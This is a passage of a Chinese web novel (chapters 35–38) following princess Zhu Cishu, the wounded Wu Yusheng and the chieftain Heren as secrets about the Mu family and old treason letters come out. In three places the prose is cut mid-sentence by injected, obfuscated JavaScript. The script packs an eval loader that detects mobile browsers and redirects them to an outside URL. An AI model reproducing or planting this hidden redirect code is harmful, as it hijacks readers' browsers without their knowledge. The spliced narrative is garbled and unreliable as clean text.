“杜世安还让我告诉你,”他顿了顿,从怀中取出一把钥匙,“穆家女在天神山脚下的——” 话未说完,诃仁便蹭地站起来,夺走老者手中的钥匙,怒吼一句:“铁木修!你这死老头儿!说什么呢!” 铁木修不管他,只又拿出一把钥匙。 诃仁又再次被抢走,还将铁木修往一旁扒拉,“你治病就治病,扯这些做什么!杜世安叫你说你还真说啊,你胳膊肘怎么往外拐啊!” 铁木修虽然老了,但力气并未全然消失,他用手肘击了下诃仁的腹部,跳到一旁,将怀中同样的一把钥匙扔给朱辞秋。 她稳稳接过后,西琳刚巧从一旁的伤室出来。 铁木修拽住朱辞秋的胳膊就往下跑,一面往下跑一面喊道:“西琳,拦住他!” 朱辞秋被铁木修拽到木屋外,晨间的鸟鸣声不绝于耳。 “穆家女在天神山脚下的木牢中,你若有疑可去找她。”铁木修又从怀里掏出一个木质令牌,递给她。 她低头看了一眼,接过后又仔细看了看。 这令牌,与早前乌纳兰将她带离王帐时掏出的东西一模一样,便不由得抬起头看向铁木修,正欲开口时,铁木修赶忙摆手,道:“你别问我,我只是欠杜世安一个人情,如今已算了了,你若有什么疑惑可亲自去问她。” 他指了指远处的天神山,又指了指木牌,“此物能让你畅通无阻,自去便是。当然,回来时此物也要还给我。”他顿了顿,“若不还,回转丹毒我也不会给你解的。” 朱辞秋握紧木牌,垂眸一瞬。 杜世安,杜大夫。穆家女,应当是穆老将军早年失踪的女儿,也应当是乌玉胜的母亲。 他为何要她去见穆家女,是与乌玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438461|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胜有关,还是与大雍有关?杜世安又与他们是何关系?二十四年前,穆老将军与乌图勒在寒城的关系,是否并非如朝中所说的那般水火不容? 至于为何这般猜测,也只是因为南夏与大雍的交战,是在近十年才频繁起来,也就是她父皇即位后。也是因当时在龙虎关,在山门关时,她曾问过那些老将,都说十几年前,南夏一年也进犯不了几次,细问缘由,都只说可能是当时南夏所有部落,并不全听乌图勒的。但根本原因,谁也不知。 而且十一年前,乌玉胜不可能无缘无故逃往大雍投奔穆家。 十一年。 她父皇即位是在十一年前,南夏大雍频繁交战是在十一年前,她第一次遇见乌玉胜,也是在十一年前。 忽然“咚”的一声,似乎有人从医室的楼梯上滚了下来。 朱辞秋看向医室,又看向来时之路,停顿几瞬后,将木牌收入窄袖之中,确认不会掉出后,才看向铁木修,轻声开口:“我现下不去。” 铁木修愣怔地看向她,有些疑惑:“西琳替你挡住诃仁那小子,她至少能拖一个时辰。这么好的机会你不去?” 她摇摇头,“一个时辰而已,拦不住他。” 远处似有马蹄声传来,闻声望去,便看见一队人马驮着身受重伤的乌玉胜走近医室。 铁木修顺着她的视线看去,看了一会后便叉着腰往回走,“反正我将话是带到了,物件也给了,之后的事便由你自己决定。” 她低下头,跟在铁木修身后走着。她并不打算自己去找穆家女,也想要看乌玉胜将伤药上好。 入门后,西琳正拎着诃仁的衣领将他按在地上,诃仁分明是个健硕高大的男人,却被她压制得动弹不了一点。 听见她与铁木修踏入门的声音后,在地上扭打的两人齐齐转头。 诃仁眼睛似乎肿了,脸也肿了。 “没想到你还是打不过西琳。”铁木修笑道,比了个停的手势,“切磋到此为止,伤患已经到了。” 西琳这才站起身,拍拍衣裳上的尘土,将医室的两侧大门完全打开,方便他们入内。 诃仁也站了起来,他擦了擦嘴角的一丝血渍,神情十分不服气,又在看向朱辞秋时恨意十足。 她只是淡淡地看着他,然后用手比画了一下嘴角的另一侧,告诉他还有血渍。 原先鞭打乌玉胜的那两名男子抬着他入了伤室,将他背面朝上地放在床上后便扬长而去。 朱辞秋站在一旁,比先前更近距离地看清了乌玉胜背上的伤口。何止是没有一块好肉,她已经无法形容这些伤口所造成的创伤,目光所及之处皆是烂肉血泥,这分明是在把人往死里打。 乌玉胜也没有醒,像是昏迷了。 “献礼前他吃了护心药,这只是皮肉伤而已。”铁木修拿着药具站在一旁,让西琳拉着她往后退了一步,又道,“你别一副死了丈夫的模样。” 诃仁拿着个冰袋,一面敷着脸一面看向她,重复说了句铁木修的最后一句话后,说道:“现在知道心疼了?” “我只知道他蠢。”朱辞秋冷冷地看了他一眼,夺走他手中的冰袋,扔到最角落里的桌子上,“你也很蠢。” “我说你!”诃仁愣了下,随即想要发脾气,却被西琳冷声制止,“伤室禁止喧哗,要吵出去吵。” 诃仁歇了气焰,却仍旧瞪着她。 她不想再看乌玉胜身上的那些伤口,见铁木修与西琳将他身上的血渍清理干净露出狰狞无比的、深可见骨的伤口后离开了伤室,坐在原先诃仁坐在的位置上,看向窗外。 此时她才发现,原来这里,可以看见来时之路。 伤室的门打开又关上,她不用回头看都知道是诃仁那厮,估计以为她要去找穆家女,这才紧跟着她出来。 35. 第三十五话 “我还以为你会立马去找她。” 诃仁坐在她对面,手里转着从铁木修那抢来的钥匙。 朱辞秋侧头看了一眼他,自然知晓他口中的那个“她”指的是穆家女。她也看得清楚,虽然如今诃仁面上一副无所谓的模样,但眼底却有警惕与试探。 她并不回答,只复看向窗外,旭日东升,阳光洒在地上,也照到屋内。 过了会,诃仁等不到她的回答,愈发不耐烦,他站起身关上窗,又靠在窗边挡住视线,朝她伸出手,“给我。” “何物?”她抬起头,挑了挑眉。 诃仁冷哼道:“别装了,把木牌给我。” “你既然带我来此,就应当有所防范才对,况且——”朱辞秋微微一笑,“既已认为我知晓杜大夫与铁木修相熟之事,难道没想过我也会知晓穆家女此事?你一个从尸山中爬出来的人,居然打不过一个略通武艺的老者,连钥匙都抢不过。” “此间戏未免演得太过了,首领大人。” 屋内安静一瞬,仿佛能听见伤室中铁木修与西琳一面谈话,一面给乌玉胜疗伤的声音。 诃仁不再靠着窗边,而是走至她面前,颇有些居高临下地看着她。 她抬起头,嘴角上扬,但眼里寒光却直射在诃仁身上,饶是面前男人面容愈发阴冷也毫不畏惧,甚至嘴角的弧度还大了些许,“你自愿带路来此,是想趁他昏迷之时,让我去见穆家女吧?” “不止有你,”诃仁沉默须臾,便往前走,又弯腰俯身,将手放在她所坐之位的椅背上,遮住大半光源挡在她身前,将视线与她齐平。他也笑着,只是笑意也未达眼底,面容在背光之地更显阴冷,“我要与你同去。” 她笑了笑,“正好,我也欲让你与我同去。” 诃仁一愣,“你不问我为何?” “我若问你,你可会与我讲真话?” “若殿下态度好些,笑容真切些,说不定我会。”诃仁眼角弯弯,却像条毒蛇。 寂静瞬间后,朱辞秋忽然开口:“你父亲杀妻后,你便一直住在霞山谷吧?” 诃仁闻言,似乎怔住须臾,方才弯着的眼逐渐变得犀利,放在椅背之上的手狠狠捏住椅背边缘,青筋暴起。 “我猜,那个时候,穆家女亦在此地。你与乌玉胜,便是在那时相识的吧。”朱辞秋不管诃仁的异状,面上仍旧风轻云淡,语气平缓又轻声,“你让我去见她,是想让我知道十一年前南夏与大雍发生过什么。” 不止诃仁想让她知道,就连杜世安也想让她知道。 而在大雍,她问任何人南夏与大雍为何忽然大肆开战的缘由,都得不到任何一丝准确的答复。似乎是因往事被风沙埋在黄土之下,早已被人遗忘多年,那些知情的人因各种缘由不在人世。 从穆东风口中也套不出一丝一毫的有效信息,只知道穆家女早年间曾去陇西游历过,而陇西极偏之地曾有一位被先皇所贬黜的皇子。 那位皇子,被贬黜后非死不得回故土。 巧的是,他也死于十一年前。 诃仁沉默半晌才放开手,直起身看向紧闭的伤室门,“若不是怕他醒来发疯要去送死,你早已死了千次万次了。” 朱辞秋与他无话可说,恰好此时西琳打开门端着一大盆血水往楼下而去,偏头瞧了她与诃仁一眼,先是朝她道:“他醒了。”而后又对着诃仁说着,“里面还有一盆,你去端下来倒掉。” “你命令我?!” 诃仁又恢复成那副吊儿郎当的嘴脸。 朱辞秋站起身,衣侧的手有些颤抖,但又很快镇定下来,不再管一旁的诃仁,率先进入伤室。但走至门口时,脚步却也还是忍不住地顿了下。 伤室一面墙上有两三扇窗户,外头的日光透过薄薄的窗纸照进屋内,让冰冷又充满血腥气的屋内有了些温度。 她没有立马看向趴在床上浑身裹满纱布的乌玉胜,而是看了眼正在门口净水盆中洗手的铁木修。后者瞥眼看见她后便迅速用手巾擦干净手,又迅速走了出去。 门未关严实前,似乎听见铁木修对正要推门的诃仁说:“你去干嘛?回来回来,年轻人的事你别去掺和。” 诃仁乐了,“我不是年轻人?” 再然后,她便听不见了。铁木修已然将门关严实。 原来里间可以如此安静,安静到她看着趴在床上仍抬头望向她的乌玉胜时,能够听清自己沉重的呼吸声与缓慢的心跳。她与他的视线交汇在空中,就像时辰停滞一般,她与他都未说话,也未有任何动作。 乌玉胜脸色惨白,没有丝毫血色,额间还有密密麻麻的汗渍,健硕有力的臂膀弯着交叠在下巴处,将他整张脸托起看向她,纱布将狰狞的伤口全部缠绕遮挡住,却仍有血渍透出来,在纱布表面留下点点鲜红色。 这是她第二次,看见如此苍白狼狈的乌玉胜。 “殿下。”乌玉胜声音极小,也嘶哑难听至极,但她仍旧听得很清楚。 “你命很大。”朱辞秋站在原地并不靠近他。她勾起嘴角,似是在嘲讽他,“再这般折腾,不等我来杀你,你便会自取灭亡了。” 乌玉胜垂下眼帘,浓密的睫毛遮住了眼里的情绪。 “怎么,早前那股嚣张的气焰到哪里去了?”她走近一步,半蹲在地上,用手挑起乌玉胜的下巴,让他看着她的眼睛。她笑着,但眼底尽是讽刺,“以为这样我便会心软?” 乌玉胜艰难地动了下手,握住她的手腕,极轻声道:“我……并不想叫殿下看见此幕。本想殿下睡三个时辰,待一切结束后叫诃仁带殿下来此,我……并不知他会如此。” 或许是因受伤后的虚弱,叫此时的乌玉胜并不似先前那般冰冷阴郁,甚至看起来还有些少年时的乖巧。 她笑了一下,反手捏住了他的脸颊,用另一只手轻轻划过他鼻梁右侧的那颗小痣,“若是穆雨生说这些话,我是相信的。但你是乌玉胜,我不信你。” 食指从小痣划到嘴角,顺着脸颊的轮廓划至眉弓,又从眉尾划到那浓密的睫毛处,叫乌玉胜的眉头皱了下,连睫毛都颤抖着。她看着面前受伤苍白的男人皱着眉头,咬了一下唇,握住她手腕的手松了些许又再次握紧,于是又笑,“你怎会不知诃仁的为人呢?你也在猜我是否会心软吗?” 乌玉胜抬眼,身上的伤口让他无法再动弹,只能任由她的手指在他脸上划来划去,于是他握住她手腕的那只手也不安分起来,在她手腕处摩挲着,他恢复了那副冷淡却带着些偏执的模样,勾了勾嘴角,“果然骗不过殿下。” 朱辞秋觉得痒,便猛地抽出手站起身,居高临下地看着他。乌玉胜抬着头,仰望着她。 “我只觉得你可怜,像只狗一样。”她不再笑着说话,连眉头都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你还记得,当年春日宴上,你说过什么吗?”朱辞秋再次蹲下身,直视着他的双眼,想要透过他看见当年质朴又温柔的少年。 乌玉胜呆愣了一下,轻声吐出一句话来:“臣想让殿下去更广阔的天地纵情肆意。” “是啊,如今你却想将我困在你身边一世。”她摸了摸他的头,就像在抚摸小狗,“可我从来,都最讨厌束缚与欺骗。” 乌玉胜这个人变得很矛盾,她觉得。她有时都看不太清他到底在想什么。 “我知道。”他低下头,发顶似乎在她掌心又蹭了蹭,让她马上收回手,于是乌玉胜又抬起头,“等殿下见到她,便会知道我的计划了。” 这是他做的,最大的让步。 “但这之后,”他眼神忽然变得危险,宽大的手掌拽过她的手腕,让她被迫抚摸向他的脸颊,“殿下仍要待在我身边,亦不会再叫殿下接触到乌玉阙半分。” “我并非束缚殿下,只想保护殿下。” 朱辞秋若不是看在他背部血淋淋的伤口的份上,此时巴掌已经扇在他脸上了。她没办法扇他,只能抽回手站起身,忍无可忍的讽刺一句:“你有病,我叫铁木修来给你治治脑子。” 言罢便不再想理乌玉胜,径直朝门外走去。 果然话不投机半句多,跟狗多说一句都费劲。 36. 第三十六话 “殿下。” 乌玉胜嘶哑难听的声音再度响起,她却不再做任何停留,但他仍旧开口继续道,“你肩上的伤,让铁木修再看一下吧。” 朱辞秋脚步一顿,微微侧头看了眼自己受伤的肩膀。若非乌玉胜提醒,她已经快忘了此处的伤。 “不必了。” 她话音未落,乌玉胜却又道:“乌玉阙那处,我的人已替殿下料理好了,阿静雅也已取得他的信任。”他顿了顿,似乎也因为伤口而轻吸了口气,“王帐的,另一半穆家人也全部安葬了。殿下,看在这些事的份上,陪陪我吧。” 就像是在摇尾乞怜一般,她再度停住脚步,分明不过几步路的距离,她却好像怎么走都走不到门口,打不开那扇门。就像是无论如何,她都听不见乌玉胜能亲口告诉她,她想知道的一切。 当年乌玉胜被她推入悬崖后,她连上数十封奏疏请求父皇,允她在此做监军,又以陈年旧事作由借调公主府亲卫来此,为此她都感觉自己已几乎耗尽了父皇对她最后的爱与愧疚。父皇任由百官弹劾,甚至把所有弹劾折子都八百里加急送到她面前命她速速回京。但好在,京中有一人为她拦下所有,也保了她与穆家的三年兵权。 即便如此,那段时日,各地各处的污言秽语也总会传入她耳中,但她只想查明真相。她不信任龙虎关的任何一人,包括穆东风。公主府亲卫是乌玉胜曾亲手调教过的,他们在那段时日成了她最信任的人。 几乎是昼夜不停地四处暗探,在她辗转穆东风与战事之间时,终于在乌玉胜曾穿过的夜行衣中,发现了毒草残渣,那毒草生长在龙虎关的某处深山中,她趁穆东风无暇顾及她时,赶往山中,发现有一间极小的破庙。里面有一间房,在里头的破烂床榻底下的鼠洞里,藏着被烧掉一半的勾结南夏的书信,书信里全是些冠冕堂皇的话。 她终于知晓那些藏在燕京乃至大雍繁华之下的恶臭蛀虫到底有多少。他们没有写姓名,却在那些信件的字里行间写下贪婪又恶毒的计划。 一封尚未烧完的信中写道:他们愿将长邑十三州献给南夏,也将军中机密献给南夏,以求南夏出兵助他们主人夺取大雍皇位,届时再献五座城池与无数珠宝布匹,南夏与大雍可结百年和平。 送往南夏的信件之中,全都盖着穆老将军的私印。但她一开始,并不知道那是老将军的印,只以为是南夏哪位权贵的,直到龙虎关将破,穆东风收拾老将军的遗物时,她突然发现在不起眼的角落里,有一张黄旧纸张下留下的私印模样,与信件上的私印极其相像。 于是她问穆东风那张纸是做何用处的,穆东风告诉她,那是他父亲年轻时自己做着玩的印章,在他小时候曾在纸上给他与姐姐展示了一番成果,不承想这张纸如今都还在。 而她在破庙的房间里,在破烂的床下,也发现了她曾送给乌玉胜的一枚铜钱,那是有一年路过算命摊时,算命瞎子说能保平安的。 一共三枚,她都给了他。 几乎在看到那张盖着私印的纸的一瞬间,她便确定乌玉胜早已知晓此事,且极有可能是穆老将军本人所为。若是假的,乌玉胜必不可能藏起来烧掉。 所以他才会在狱中不发一言,所以才不澄清任何一句,若非她去看了他一眼,他便是真要做那刀下亡魂了。 他是在替人遮掩顶罪。那时她能猜出的,能让他如此的,只有那一人。她无法确定穆东风是否知晓此事,亦无法确认当年战死沙场的老将军真的会是那些书信中,想将守了几十年的十三州拱手送给南夏的其中一人。 她似乎知道了真相,却又像不知道一般迷茫。她不知道幕后之人,而穆老将军已经为国捐躯再也无从查起,所有人都在缅怀他。除了失踪的女儿外,她在边塞,再也查不出也问不出任何过往。 所以她一直隐瞒此事,从未告诉过任何人。那几年,她最信任的居然仍是早已成为南夏少主的乌玉胜,所以每次见到他,都想拿出那些信件,亲口问一句,是真的吗? 书信里的他们视边塞百姓如猪狗一般,生死被随意地定在几封书信中,好像除了燕京外的百姓与土地都不属于大雍一般随意。但老将士口中的风趣幽默又爱兵如子的穆老将军,为国守了一生边塞要地的老将军,不该是这样的人。 朱辞秋沉默半晌,脑中思绪掠过万千,最终还是转身坐在床榻对面的木凳上,冷目无情地看向乌玉胜,忽然就很想问他一句,在当年得知一切后被关入狱中,任由脏水泼与一身,受口诛笔伐时,究竟是怎样的心情? 但从她入南夏和亲时,她就不可能再问出这样的话来。是他阻断了她回京调查之路,将她困在南夏,却不说任何缘由,只跟个疯狗一样说些疯话做些疯事,好像真的是在报复她。 “你在想什么?”乌玉胜忽然开口,眼里的偏执又加深几分。 朱辞秋回过神,平淡地回了句,“我在想,你在想什么?” 乌玉胜似乎没有想到她会这般问。他双眼闪烁,连嘴角都抽动一下,但却只看着她,不发一言。 她觉得很累,就像在训听不懂人话的狗一般。但她太想知道答案了,想知道他曾经替罪的那个人,到底死没死。所以她看向他的双眼,轻声问道:“我只想问你,若当年我未曾将你从牢狱中提出来,你是否也不会死?” 乌玉胜眉头微蹙又很快展开,似乎不想叫她看出异样。但她仍旧是看见了,于是笑了一声,面容骤冷,“果然如此。” “殿下找到了那间破庙。”乌玉胜沉默良久,才缓慢地吐出几个字来,他不愿再往下说,但好像又觉得再瞒着也没有任何意义,于是看向她,眼中的情绪—— 她看不出来,不知道该如何形容。太复杂了,就像是一望无垠的草原上忽然看见耸立在面前的高山,让她反应不过来,只觉得是海市蜃楼,想要给自己一巴掌让自己清醒过来。 这太可笑了,她居然在如今的乌玉胜眼中,看见了难过。 乌玉胜垂眸一瞬,“我曾以为欠他一命,本当还给他。”他终于愿意吐露出一些她并不知晓的事来,“十一年前,我倒在寒城外,是他救下我,认出了我,还替我隐瞒身世,带我去燕京。也因为,他说他是我阿爷。” 他似乎在此时卸下了面上的阴暗与冷漠,将心底的悲伤展露一角,让她 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乌玉胜的声音忽然大了起来,“你曾经,不是最想逃离那宫墙吗?” 朱辞秋顿在原地,沉默须臾,“我曾经,以为自己深受之苦便是人间最疾苦。直到我见边塞血流成河、见荒野尸首如山、见本该平安一世的人受尽磨难如白骨枯槁、见有人为一两碎银横尸街头,也见曾交谈过的、一起吃过酒看过朝露与夕阳的人命丧黄泉尸首难觅,方知世间之苦远胜于我。” “我要自由,但更要大雍和平万世。” 她许久未曾说过豪言壮志,许久未向乌玉胜吐露自己的内心,但说出口时,心中却轻快不少。 乌玉胜呆愣地看着她,良久才轻声说出两个字:“殿下。” “我知道你在想什么,但乌玉胜,我见过了,便不会轻易置之不理。就如当年我见你被朱承誉折辱,从他手中救下你那般,不论被怎样的羞辱,我都不会放弃。” “你会死。”乌玉胜紧蹙眉头,咬着牙。若不是如今坐不起身站不起来,恐怕他早已拉住她的手腕恶狠狠地对待她了。 “若不是你与诃仁阻挠我,如今我也自行处理好了乌玉阙之事来此地求药。”她笑了笑,“可我不求解药,我只求在此待上几天。我不求药,便不需受献礼。或许要受,但总归不会死。” “所以你到底在想当然什么?觉得如今身份高贵起来,权力大了起来,知道的事情比我多上许多便能保护我吗?” 乌玉胜顿了半天,说不出一句话,“不是……” 朱辞秋真的不想再留在此地,不想再听他说话,便一把拉开门走了出去。 她已经说得够多了,若他不是真的狗,便也应该反应过来,他不该给她两颗甜枣再将她禁锢才对。 想着想着便缓缓下楼,看见诃仁背着个大包裹坐在第一层台阶处,嘴里叼着不知从哪来的草根,轻声哼哼着她听不懂的歌。 如今再看诃仁,倒比听不懂人话的乌玉胜来得亲切些。至少他能听得懂人话。 37.第三十七话 诃仁似有所感,偏过头望向她,没好气道:“看我做甚?” 朱辞秋轻轻一笑,将方才心中所想默默划掉,面上也不欲与他多言,只沉默着走下楼梯,略过背着包袱的诃仁,探头朝中间那两鼎丹炉似的器皿看去。 西琳坐在地上,四周摆放着许多书籍,两旁有两个大草篓,里头堆满了新鲜草药。铁木修站在桌边用笔在记录着什么,每写完一页便扔在地上一页,刚巧扔在西琳身侧,她便刚好能伸手够到,草草看了两眼后便又随意地放在另一侧地上,然后从草篓中取出草药放在地上。 器皿下的柴火越烧越旺,西琳将一页纸上的所有草药挑拣完后,抱着草药站起身,将它们放在一处柜子里存好后又坐回原地,重复原先的动作。 铁木修听见她下楼的声音后抬头用下巴点了点外侧,道:“厨房有吃的。哦对,西琳为你备了衣物,就在偏房。” 朱辞秋闻言,看了一眼坐在地上专心挑拣草药的西琳,轻勾嘴角,笑道:“多谢。” 西琳只是点了点头。 她不再看铁木修与西琳,欲往外走。身后背着包袱的诃仁忽然站起身窜到她面前,用胳膊挡住她的去路,“你怎么不关心乌玉胜吃什么,喝什么?” “难不成你们还能将他饿死?”她抬眼一瞬,往另一侧门走去。 诃仁跟在她身旁,与她一同出了门,“但他可替你受了这么重的伤,难道你不想对他好点?” 她有些无言,觉得诃仁在没话找话,本不想搭理他,但沉默一瞬后还是轻声开口:“皮糙肉厚之人,死不了就行。” 此时天已大亮,日头正盛,阳光照在人身上十分暖和,木围栏外的人并不多,有男人也有女人,还有小孩儿。他们穿梭在各个木屋间,忙碌着。小孩子们喜欢在中间的路上奔跑,在看见朱辞秋后停下脚步,对面忙碌的人们却未曾注意到她。 只不过距离尚有些远,她只略看一眼便入了厨房。 厨房内的木桌上放着两碗汤面,想来也是因为搁置的时辰太久,碗里的汤都已被面条吸尽,看起来并不好吃。 她坐下来,想用筷子挑起面条,却将碗内的那一大坨面条整个挑起。诃仁忽然端着一个小碗到了她跟前,将碗内奶白的面汤倒入面碗里,然后朝她挑眉,“搅拌一下,便散开了。” 面汤冒着热气,坨成面饼的面条顺着筷子的搅拌确实逐渐分散开,朱辞秋挑起一筷子送入口中。此面味道跟大雍的阳春面十分相像,也十分合她口味,于是不由得多吃了几口。 她忽然想起什么,从怀中掏出一个小瓶子,将里头的回转丹解药拿出来,又捏碎放入面汤之中,混着面条将它吃入嘴中。 诃仁侧头看着她的动作,并未言语,只是将包袱放在一旁,坐在她对面,又用手撑着下巴,点了点另一碗未动筷的面,“这面可是铁木修亲自做的,他说的是,大雍口味的面条。” 怪不得。朱辞秋在心里想着,面上却毫无波澜,只抬起眼皮,瞟了眼诃仁放在一旁的包袱,随口问道:“那里面,装了何物?” “保命之物。”诃仁用另一只手拍了拍包袱,细小的尘埃在外头透过来的阳光下飞舞一瞬,又听他道,“你以为天神山那般好走啊?若不准备齐全些,连天池都看不见便会在半路上一命呜呼了。” 古来便有奇山险峻,道路艰险难行,朱辞秋并不是很惊讶,只微微点头,将手中的那碗面条吃了个干净。从来南夏起,她似乎很少吃完过一碗饭。 “吃完了?”诃仁直起身,单手拎起包袱,“该上路了吧?” 这措辞实在不算吉祥,但她也并未纠正他,心里想着他自己上路便好,然后指了下另一碗面,“你去给乌玉胜送去。” 分明只是正常的语气,但对面的诃仁却皱着眉头,并不乐意:“你在命令我?” 朱辞秋沉默须臾,自顾自站起身,又沉默地看了他一眼,轻声一笑后转身便走。左右她说了这句话,乌玉胜会不会饿得昏过去,便是诃仁的事了。 “喂!”诃仁似乎还想说什么,但她一个字都不想再听见。 出了厨房便看见方才那群小孩子正扒拉着木栏往里看,在看见她后又赶忙扭头,眼神却仍不由自主地看着她。她停在原地,忽然往木栏处走了一步,围在那里的小孩子们便一哄而散,朝对面的木屋跑去。 见他们都走远后,她便打开了偏房的门。崭新的衣物挂在架子上,甚至还将发绳齐整地摆在一旁的桌上。 如今她已习惯南夏的窄袖长袍,不多时便已将衣物换好,用发绳随意地将长发半挽起。离开时忽然看见被她放在桌上的飞去来器,她将它拿在手中沉默一瞬后,又将它放回了桌上。 刚一开门,便见诃仁靠在门框上,单肩背着包袱一脸不耐烦地看着她。 “他要见你。” “走吧。” 两句话同时响起,四周凝固静寂一瞬。 “带我去找穆家女。”她抬起头,眼神冷然凌厉一瞬,冷淡道,“这才是当下紧要之事。” 诃仁愣了下,随即反应过来,冷嘲一声,“去就去呗,你摆什么公主架子。” 朱辞秋不再言语,只走到门口将门打开,看向远处高耸入云的天神山。 如今入春,是南夏风景最好的时候。天神山山顶的皑皑白雪在湛蓝的天空下若隐若现,两旁是翠绿的山与间错开的树木与木屋,顺着中间的大路往前看那天神山,仿佛近在咫尺又好像远在天边。 她站在路中央,诃仁走在她前面带着路。 方才那些小孩子围着诃仁蹦蹦跳跳,两旁的人们都各自在忙自己的事情,似乎并不在意他带着谁,又往何处去。 “诃仁哥哥,你们要去哪里啊?”有小孩追着诃仁问道。 诃仁低头看向那小孩子,用手拍了拍他肩膀,朗声道:“我们去天池,抓鱼!” “天池里有鱼吗?” “有的,而且听说是天神赐给我们的金鱼,我抓来送给你们,好不好?” 诃仁身旁的小孩子们听后,都兴奋起来,纷纷蹦跳着拍手,说着“好”。 但他们的目的可不只是围着诃仁聊天,朱辞秋能感觉到这些小孩儿时不时地看向她,想要藏住视线却又明显无比。 终于她抓住一名小女孩,低头问她,“你看我做甚?” 却不料那小女孩愣了一下,便站在原地大声哭了起来。声音实在是震耳欲聋,仿佛要将山谷的所有活物都吵醒。哭声一响,诃仁身旁的小孩子们纷纷往后看,有些胆大的还凑上前看小女孩与她。 她却捂住耳朵,往一旁躲去。诃仁怔住一瞬,便挎着包袱赶忙抱起小女孩,轻声安慰着:“那是坏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466754|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,你别理她。” “我很可怕?”朱辞秋皱了下眉,看向诃仁怀里的小女孩,冷笑一声。 那小女孩看她这副模样,哭得愈发凄惨。 “你有病啊!”诃仁扭头瞪向她,又将小女孩抱给闻声赶来的她父亲。 那名父亲沉默地看了眼她,朝诃仁弯腰一礼便接过小女孩,头也不回地往回走去。 其他小孩愣在原地,看向小女孩离去的方向。 “看什么?”朱辞秋冷着脸,皱着眉,“再不走把你们都拉去喂天池里的金鱼。” 听见凶巴巴的一句话,小孩子们纷纷向四处逃窜,不敢再看一眼她。唯有一位胆大的小孩儿跑到诃仁跟前,踮起脚自以为小声地在他耳旁说道:“阿母说得不错,漂亮女人都很凶!哥哥你可别被她吃了!” 说完,便飞速地跑没影了。 诃仁又愣怔一下,反应过来后哈哈大笑,笑得腰都直不起来,像是被这句话笑断气一般。 她懒得看他,越过他径直往天神山的方向走去,身后的诃仁似乎也笑够了,立马跟了上来。 “都说了别摆公主架子,被小屁孩讨厌了吧?”诃仁在她身后嘲笑着。 “讨厌我又如何?”她笑了下,“我也很讨厌你们啊。”说完便又扭头看向诃仁,盯着他的眼睛一瞬,“我也想将你扔到天池里喂金鱼。” “喂,你命如今在我手里呢,说话客气点。”诃仁皱了下眉,吊儿郎当的模样减了些许。 朱辞秋回过头,声音虽轻却又清晰可闻:“乌玉胜让你带我去见她,你还能杀了我?我死了,你想要的王座可就再与你无缘了。” 能让诃仁心甘情愿听乌玉胜摆布的,除了积久的感情,必会有利益。而那利益,除了王座,她想不出更能打动他的东西了。 诃仁沉默半晌,忽然道:“你们中原有个词,叫恃宠而骄,说的便是你这样的人吧?” “错了,像我这样的人,应该是狐假虎威之辈。” “呵。”诃仁冷笑一声,“所以我还真该在西岭就不救你,让你死在野物口中。” “诃仁,”她一面往前走着,一面笑着开口,“人永远不要高看自己,也不要小瞧别人。” 诃仁再度沉默,天地间只有两人的脚步声。 愈往前走,木屋人迹便愈少,直到走出狭长的树丛小路后,人居住过的痕迹便彻底消失,一旁的溪流宽了些许,两旁的山夹着中间尚算平缓的路与高耸的树木。朱辞秋抬起头,只能看见天神山的山顶一角,其余的全被周遭的山石高树所遮挡住。 溪流潺潺,林间鸟声悠悠,安静悠然的环境仿佛天生便能叫人静下心,不再焦躁烦闷。是以,她心情愈发平和,就连看着愈发难行的路都有了观赏之意。 但诃仁却并不平静,他的脚步声急促又笨重,仿佛在发泄什么,有时越过她越走越快,有时又渐渐慢下来让她走在前头。 终于天将要黑时,他总算憋不住般,挡在她面前,让她被迫停下脚步待在原地,随即横眉冷对,问出一句话:“你难道不是很瞧不起我吗?” 朱辞秋看着他,粲然一笑,道:“你只想问这个?” 诃仁点了点头。 “首领大人,”她看着他的眼睛,笑的愈发温柔,“你不会真喜欢我吧?” 诃仁一愣。 38.第三十八话 朱辞秋看着愣在原地的诃仁,轻声一笑。后者陡然反应过来,面上的怔然被恶狠代替,露出恶狼般的獠牙,声音阴冷,开口问她:“好笑吗?” 她看着他,笑意更深,但眼神却冰冷,“在西岭时,你不是觉得挺好笑的吗?” 诃仁似乎是想起来前段日子在她面前讲过的话,哑口一瞬,又道:“所以你便要把这句话还给我?” “我只是在猜,你为何想问我这个问题。” 诃仁沉默须臾,“啧”了一声,开口道:“不是你自己说的吗?人不要小瞧别人,你难道没有小瞧我?没有瞧不起我?” “首领大人。”她听后,抬首看向他,随口说道,“你没读过书吗?” “什么?” 朱辞秋道:“小瞧,与瞧不起,是两回事。”她顿了顿,眼神上下扫视面前的男人一瞬,继续道,“我从未瞧不起你,相反,我还很钦佩你。” 诃仁闻言,紧皱的眉头展开一瞬,仿佛被取悦一般,但随即便又蹙眉,恢复成原先的模样,声音却不似之前冷漠,反而带着些探究的味道,又问:“你钦佩我什么?” 